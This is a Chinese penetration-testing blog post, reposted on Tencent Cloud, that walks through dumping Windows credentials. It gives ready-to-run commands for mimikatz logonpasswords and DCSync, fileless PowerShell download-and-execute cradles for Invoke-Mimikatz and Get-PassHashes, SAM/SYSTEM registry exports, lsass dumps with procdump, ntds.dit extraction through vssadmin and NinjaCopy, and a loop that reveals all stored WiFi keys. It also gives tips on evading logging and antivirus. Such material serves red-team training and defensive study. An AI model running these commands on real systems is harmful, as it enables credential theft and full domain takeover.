前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网学习笔记 | 密码抓取

内网学习笔记 | 密码抓取

作者头像
TeamsSix
发布2022-09-20 19:01:03
2K0
发布2022-09-20 19:01:03
举报

0、前言

Windows 系统一般使用两种方法对用户的密码进行加密处理,在域环境中,用户的密码信息以哈希值的密文形式存储在 ntds.dit 二进制文件中,该文件位于 %SystemRoot%\ntds\ntds.dit 路径下,由于该文件一直被活动目录访问,因此这个文件是被系统禁止读取的。

在非域环境中,即工作组的环境中,用户的密码等信息被存储在 SAM 文件中,该文件也同样是被系统禁止读取的。

Windows 系统中的密码一般由两部分组成,分别是 LM Hash 和 NTLM Hash,结构通常如下:

代码语言:javascript
复制
username:RID:LM-Hash:NT-Hash

LM Hash(LAN Manager Hash)是 Windows 最早使用的加密算法,由 IBM 设计,其本质是 DES 加密,由于使用的 DES 算法,因此它的 KEY 是固定的,同时结合一些其他特性导致 LM Hash 加密算法较为脆弱,因此微软在 1993 年在 NT 3.1 中引入了 NTLM 协议。

NTLM Hash 是基于 MD4 的加密算法,个人版从 Vista 以后,服务版从 Windows Server 2003 以后,系统的认证方式都采用了 NTLM Hash,为了兼容性,微软也只是把 LM Hash 禁用了,只启用了 NTLM Hash.

在 Windows Vista 和 Windows Server 2003 及之前的系统默认使用的是 LM 加密,只有用户密码超过 14 位时才会使用 NTLM 加密,之后从 Vista 的系统开始,不再使用 LM Hash 加密,而是全部采用了 NTLM Hash 加密。

如果用户密码为空密码或者不存储 LM Hash 的话,我们抓到的 LM Hash 就是 AAD3B435B51404EEAAD3B435B51404EE,所以在 Vista 和 Windows Server 2003 之后的系统里抓取到的 LM Hash 都是 AAD3B435B51404EEAAD3B435B51404EE,其实这里的 LM Hash 也没有任何意义了。

也就是说从Windows Vista 和 Windows Server 2008 开始,默认情况下只存储 NTLM Hash,LM Hash 将不再被使用。

下面看下常见的抓取密码的工具。

1、GetPass

GetPass 下载地址:https://bbs.pediy.com/thread-163383.htm

以管理员权限直接运行 GetPassword.exe 直接查看到明文密码

2、PwDump7

PwDump7 下载地址:https://www.tarasco.org/security/pwdump_7/

PwDump7 只能获取到用户的 hash,不能看到明文密码,不过可以使用这个 hash 值去 cmd5 等平台查找明文或者直接用哈希传递。

PwDump7 同样使用管理员权限直接运行即可。

3、QuarkPwDump

QuarkPwDump 下载地址:https://raw.githubusercontent.com/tuthimi/quarkspwdump/master/Release/QuarksPwDump.exe

运行以下命令导出用户 Hash

代码语言:javascript
复制
QuarkPwDump.exe --dump-hash-local

4、Get-PassHashes

Get-PassHashes 是一个 PS 脚本,Get-PassHashes 下载地址:https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1

导入 ps1 脚本,以管理员权限执行 Get-PassHashes 即可。

代码语言:javascript
复制
Import-Module .\Get-PassHashes.ps1
Get-PassHashes

或者绕过无法执行 PS 脚本的限制,直接无文件执行(推荐),同样需要管理员权限。

代码语言:javascript
复制
# 不使用代理
powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes"

# 使用代理,如果目标无法访问 github 可以使用下面的命令利用代理访问
powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes"

5、mimikatz

说到密码抓取,又怎能少得了 mimikatz 呢。

mimikatz 是法国技术大神 Benjamin Delpy 使用 C 语言写的一款轻量级系统调试工具,该工具可以从内存中提取明文密码、散列值、PIN 和 K8S 票据,还可以执行哈希传递、票据传递、构建黄金票据等。

mimikatz 项目 releases 地址:https://github.com/gentilkiwi/mimikatz/releases

使用 mimikatz 读取本地 SAM 文件,获取 NTLM Hash

代码语言:javascript
复制
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam"

或者使用 mimikatz 直接查看明文密码

代码语言:javascript
复制
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

另外也可以采用 PowerShell 远程加载 mimikatz,相较于直接拷贝 mimikatz.exe 到目标主机,这种方式隐藏性要更好些。

代码语言:javascript
复制
# 不使用代理
powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

# 使用代理,如果目标无法访问 github 可以使用下面的命令利用代理访问
powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

6、SAM、SYSTEM、SECURITY 文件

导出文件

直接注册表导出 SAM、SYSTEM、SECURITY 文件

代码语言:javascript
复制
reg save HKLM\SAM sam.hiv
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SECURITY security.hiv

或者使用 ninjacopy 脚本,下载地址:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1

代码语言:javascript
复制
Import-Module -name .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "c:\sam.hiv"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "c:\system.hiv"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SECURITY" -LocalDestination "c:\security.hiv"

如果条件允许也可以使用 U 盘启动盘直接拷贝以下文件

代码语言:javascript
复制
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SECURITY
代码语言:javascript
复制
除此之外,使用一些漏洞也可以获取到 SAM、SYSTEM、SECURITY 文件,比如 CVE-2021-36934,具体可参考 https://teamssix.com/210725-074847.html

获取 HASH

用 mimikatz 获取

代码语言:javascript
复制
mimikatz.exe
lsadump::sam /sam:sam.hiv /system:system.hiv

用 cain 获取,找到 Cracker 里的 LM & NTLM Hash,点击加号,选择从 SAM 导入,选择 SAM 文件后,查看 SYSTEM 文件的 HEX,复制到 Boot Key 里,点击下一步即可查看。

cain 还可以直接查看明文密码,在 Decoders 里找到 LSA Secrets,导入 system.hiv 和 security.hiv 就可以看到明文的密码了。

用 SAMInside 读取,直接在 File 菜单中选择导入 SAM 和 SYSTEM 文件即可

7、lsass.dmp 文件

导出文件

任务管理器导出 lsass.dmp 文件,在任务管理器中找到 lsass.exe 右击选择创建转储文件即可。

或者使用 Procdump 导出 lsass.dmp 文件,Procdump 是微软官方发布的工具,因此基本不会被杀软拦截,下载地址:https://download.sysinternals.com/files/Procdump.zip

代码语言:javascript
复制
procdump -accepteula -ma lsass.exe lsass.DMP

获取 HASH

使用 mimikatz 可获取 lsass.dmp 文件里的 hash 以及明文密码值

代码语言:javascript
复制
mimikatz.exe
sekurlsa::minidump lsass.DMP
sekurlsa::logonPasswords full

8、ntds.dit 文件

在域中的所有账号密码被存放在了 ntds.dit 文件中,如果获取到该文件就相当于拿到整个域权限,不过该文件只在域控中。

ntds.dit 文件位置:

代码语言:javascript
复制
C:\Windows\NTDS\NTDS.dit

导出 ntds.dit

Ntdsutil 导出 ntds.dit 和 system 文件,并放在 C 盘目录下

代码语言:javascript
复制
Ntdsutil "activate instance ntds" Ifm "create full C:\ntdsutil" Quit quit

vssadmin 导出 ntds.dit

代码语言:javascript
复制
vssadmin create shadow /for=C:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ntds.dit

# SAM 等文件也可以使用 vssadmin 导出

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\sam.hiv
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hiv
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\security.hiv

NinjaCopy 脚本也可以,这种方法没有调用 Volume Shadow Copy 服务,所以不会产生日志文件

代码语言:javascript
复制
Import-Module -name .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\ntds.dit"

获取 HASH

NTDSDumpEx 查看 ntds.dit,下载地址:https://github.com/zcgonvh/NTDSDumpEx/releases

代码语言:javascript
复制
NTDSDumpEx -d ntds.dit -s system.hiv -o domain.txt

或者使用 impacket 里的 secretsdump.py 脚本查看 ntds.dit 内容,下载地址:https://github.com/SecureAuthCorp/impacket

代码语言:javascript
复制
python3 secretsdump.py -ntds ntds.dit -system system.hiv LOCAL

除了拷贝 ntds.dit 到本地外,mimikatz 也可以直接查看本机的域用户所有的账号密码,不过相对于拷贝 ntds.dit 到自己的机器上来说,直接使用 mimikatz 隐蔽性肯定就会差些了。

代码语言:javascript
复制
mimikatz.exe

# 直接获取 teamssix 域内所有用户 hash
lsadump::dcsync /domain:teamssix.com /all /csv

# 获取单个用户的详细信息
lsadump::dcsync /domain:teamssix.com /user:administrator

9、WIFI 密码

使用自带命令可直接查询

代码语言:javascript
复制
# 获取登录过的 WIFI 名称
netsh wlan show profiles

# 获取某个连接过的 WIFI 密码
netsh wlan show profile name="teamssix" key=clear

# 获取所有连接过的 WIFI 密码
for /f  "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles')  do  @echo %j | findstr -i -v echo |  netsh wlan show profiles %j key=clear

参考文章: https://forum.butian.net/share/259 https://zhuanlan.zhihu.com/p/220277028 https://y4er.com/post/ntlm-hash-and-lm-hash/ https://blog.csdn.net/qq_41874930/article/details/108141331 https://blog.csdn.net/qq_41874930/article/details/108149449 原文链接: https://teamssix.com/210813-120018.html


往期推荐

内网学习笔记 | 26、ntds.dit 的提取与散列值导出

内网学习笔记 | 25、Exchange 邮件服务器

内网学习笔记 | 24、SPN 的应用

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-09-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 TeamsSix 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0、前言
  • 1、GetPass
  • 2、PwDump7
  • 3、QuarkPwDump
  • 4、Get-PassHashes
  • 5、mimikatz
  • 6、SAM、SYSTEM、SECURITY 文件
    • 导出文件
      • 获取 HASH
      • 7、lsass.dmp 文件
        • 导出文件
          • 获取 HASH
          • 8、ntds.dit 文件
            • 导出 ntds.dit
              • 获取 HASH
              • 9、WIFI 密码
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档